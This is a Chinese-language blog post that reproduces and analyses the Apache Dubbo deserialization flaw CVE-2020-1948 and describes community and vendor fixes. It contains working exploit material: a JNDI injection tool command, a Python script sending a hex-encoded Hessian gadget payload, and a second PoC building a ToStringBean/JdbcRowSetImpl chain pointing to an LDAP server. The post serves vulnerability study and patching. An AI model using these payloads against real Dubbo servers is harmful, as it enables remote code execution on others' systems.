Dubbo 漏洞 CVE-2020-1948 復現+簡單修復


關注該漏洞的童鞋,應該對 Dubbo 這個架構優秀的 RPC 框架不陌生,所以直入主題

漏洞詳情

騰訊安全玄武實驗室研究員發現,Dubbo 2.7.6 或更低版本采用的默認反序列化方式存在代碼執行漏洞,當 Dubbo 服務端暴露時(默認端口:20880),攻擊者可以發送未經驗證的服務名或方法名的RPC請求,同時配合附加惡意的參數負載。當惡意參數被反序列化時,它將執行惡意代碼。

經驗證該反序列化漏洞需要服務端存在可以被利用的第三方庫,而研究發現極大多數開發者都會使用的某些第三方庫存在能夠利用的攻擊鏈,攻擊者可以利用它們直接對 Dubbo 服務端進行惡意代碼執行,影響廣泛。

影響版本

dubbo 2.7.6 以下的版本

復現環境

漏洞注入簡介

漏洞發現者 rui0,使用 Remo 模塊,最終是通過 JdbcRowSetImpl 調用 jndi 來進行遠程代碼執行

由於該場景復現依賴於低版本的 jdk,之前使用 jdk-8u221 沒能復現,去官網下載回低版本,使用低版本后成功復現


名詞解釋

  • PoC: Proof Of Concept 的縮寫。在黑客圈指:觀點驗證程序。
  • CVE: Common Vulnerabilities & Exposures 通用漏洞披露。
  • ExpExploit,在安全方面,翻譯為 「利用」,指利用漏洞進行攻擊的動作。
  • Payload:翻譯為「有效負荷」,指成功 exploit 后,在目標系統執行的代碼或指令。
  • RCEremote code execution 遠程命令執行,簡稱 RCE 漏洞。
  • RMI: 專為 Java 環境設計的遠程方法調用機制,遠程服務器實現具體的 Java 方法並提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法並獲取執行結果,使分布在不同的 JVM 中的對象的外表和行為都像本地對象一樣。
  • LDAP: 輕量級目錄訪問協議,目錄服務是一種以樹狀結構的目錄數據庫為基礎,外加各種訪問協議的信息查詢服務
  • JNDI: Java Naming and Directory Interface,包括 Naming ServerDirectory Server。是一種 Java API,允許客戶端通過名稱發現和查找數據、對象。這些對象可以存儲在不同的命名或目錄服務中,例如遠程方法調用(RMI),公共對象請求代理體系結構(CORBA),輕型目錄訪問協議(LDAP)或域名服務(DNS)。

以上大概就是本次漏洞所涉及到的專業名詞,先有個大概了解,后面的內容看的應該比較明白。


漏洞復現

復現場景翻閱了很多篇文章和嘗試,發現通過別人構造的 payload 來復現最為簡單,所以這里記錄一下復現的流程

模擬 Provider

攻擊依賴於 rome 工具包中的 ToStringBean 工具,所以無論下載什么提供者項目,都需要將以下依賴加入到 POM.xml 文件中

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

dubbo-spring-boot-project 說明

  • 一、在 github 下載示例代碼,切換分支到 2.7.6 或更早之前
  • 二、在 pom.xml 中加入上面提到的 remo 依賴
  • 三、打包啟動
// 下載
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切換分支
$ git checkout 2.7.6
// 添加完依賴后,打包
$ mvn clean install -DskipTests

  • 四、啟動服務提供者

啟動的時候,注意要用低版本的 JDK,使用 IDEA 的話,可以在這里選擇編譯運行的 JRE

接着啟動 Provier 即可


運行 JNDI 程序

使用了該位大佬的 PoC,里面注入的 URLldap://127.0.0.1:1389/Exploit,具體原理可以 參考資料六

具體原理說明:

以下內容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用復現及POC

  • 一、下載注入工具代碼
$ git clone https://github.com/sayers522/JNDI-Injection-Exploit
  • 二、編譯工具包,在 target 目錄生成
$ mvn clean install -DskipTests
  • 三、運行 JNDI 工具包
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

例如測試時,執行的命令是打開計算器,可以執行下面命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

構造 PoC 對應的 payload

編輯以下 Python 腳本,觸發 dubbo provider 反序列化,例如以漏洞名來命名為 2020_1948.py

#-*-coding:utf-8-*-
import socket

def sendEvilObjData(sock):
	payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
	sock.send(payload.decode('hex'))

def run(dip,dport):
	sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	server_addr=(dip,dport)
	sock.connect(server_addr)
	sendEvilObjData(sock)

run("127.0.0.1",12345)

最終復現效果:

漏洞復現小結

  • 1、下載 demo 代碼,加入 rome 依賴
  • 2、啟動 JNDI 服務
  • 3、構造 2020-1948.py Poc 攻擊

漏洞原理簡述

網上公布的 PoC 代碼

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/#ExportObject",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重寫了 toString,該方法將會調用構造對象的所有 getter 方法

從上面 PoC 可以看到,執行 Dubbo 調用時,傳入的是 ToStringBean 類型參數,構造的對象是com.sun.rowset.JdbcRowSetImpl,並且 datasource 屬性設置的是 JNDI 暴露的 url,在調用 JdbcRowSetImplgetDatabaseMetaData 方法時,執行 connect 操作,下載遠端代碼,在 Service Provider 執行,造成攻擊。

調起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 請求,在 DecodeableRpcInvocation#decode 反序列化參數的地方:

dubbo 默認使用的是 hession2 序列化,解析參數執行的是這個方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

hession 反序列化過程中,通過下面代碼段執行到了 ToStringBean#toString

至此,注入攻擊的流程到這里執行完成。可以參考左下側的堆棧鏈路:

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

社區討論&安全網站修復建議

  • 合並社區 aquariuspj 用戶給出的對 DecodeableRpcInvocation 增加入參類型校驗

    修復分支 #6374

  • 漏洞發現者 rui0 建議刪除 RpcInvocation 類的 toString 方法中輸出的 arguments 參數,防范后反序列化攻擊。同時對 Hessian 進行黑白名單加固來防范 Hessian 反序列化攻擊。
    評論建議

還有阿里雲官方的安全建議

目前官方還未發布針對此漏洞繞過手法的補丁,在阿里雲提供一個月的默認防御期限內,建議客戶參考以下方法進行緩解,並關注官方補丁動態,及時進行更新:

  • 1、升級 2.7.7 版本,並根據https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法進行參數校驗
  • 禁止將 Dubbo 服務端端口開放給公網,或僅僅只對能夠連接至 Dubbo 服務端的可信消費端IP開放
  • Dubbo 協議默認采用 Hessian 作為序列化反序列化方式,該反序列化方式存在反序列化漏洞。在不影響業務的情況下,建議更換協議以及反序列化方式。具體更換方法可參考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

思考分析&修復思路

1、復現條件有限

需要引入 rome 類型的 jar 包,包含特殊的構造方法和 toString 方法(或許還有其它攻擊點)

2、社區討論內容

社區討論和 commit 的內容,增加了前置校驗,在反序列化之前判斷服務或方法是否有效,非 $invoke$echo 方法將會拋出錯誤,不進行參數的反序列化,增加了一點攻擊難度。但由於方法名 methodName 可以用戶自定義,所以修改方法名還是有可能跳過校驗,觸發漏洞

3、結合業務分析

業務方使用 rome 依賴的很少,構造這種類型的攻擊,由於沒有這個類,在 provider 反序列化時會提前報 classNotFoundException,沒有執行到 readObject 方法,從而無法攻擊。

綜上所述,考慮到修復難度和影響范圍,最后對 dubbo 修改方案如下:

  • 1、合並社區針對改漏洞的修復分支 #6374

  • 2、將 RpcInvocation#toString 方法中 Arrays.toString(arguments) 移除,避免對輸入參數進行反序列化


絮叨

隔行如隔山,一山還有一山高,修復漏洞真困難。感慨漏洞發現者們,多虧這些白帽子的仔細,揭露了這么多可攻擊點,將漏洞信息提交到安全中心,讓使用方了解到漏洞詳情。

還有 Dubbo 這個中間件的社區活躍度很高,出現問題后,大家討論的熱情高漲,積極去修復漏洞,社區活躍度高,代碼更新快,支持的功能越來越多,使用起來也更放心。

通過這次分析,了解到挺多基礎的安全知識,感覺隨着開源代碼被研究更透徹,可供攻擊的點也越來越多,在代碼設計和編寫時,也得注意一下安全信息,避免被攻擊。


參考資料

1、Apache Dubbo Provider 遠程代碼執行漏洞 (CVE-2020-1948)

2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用復現及POC

3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其補丁繞過深度分析

4、Apache Dubbo漏洞CVE-2020-1948分析

5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上)

6、LADP、RMI 注入程序原理說明

7、示范例子使用的注入程序

8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

9、marshalsec 工具包

10、滲透中 PoC、Exp、Payload 與 Shellcode 的區別

11、Github 社區討論


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM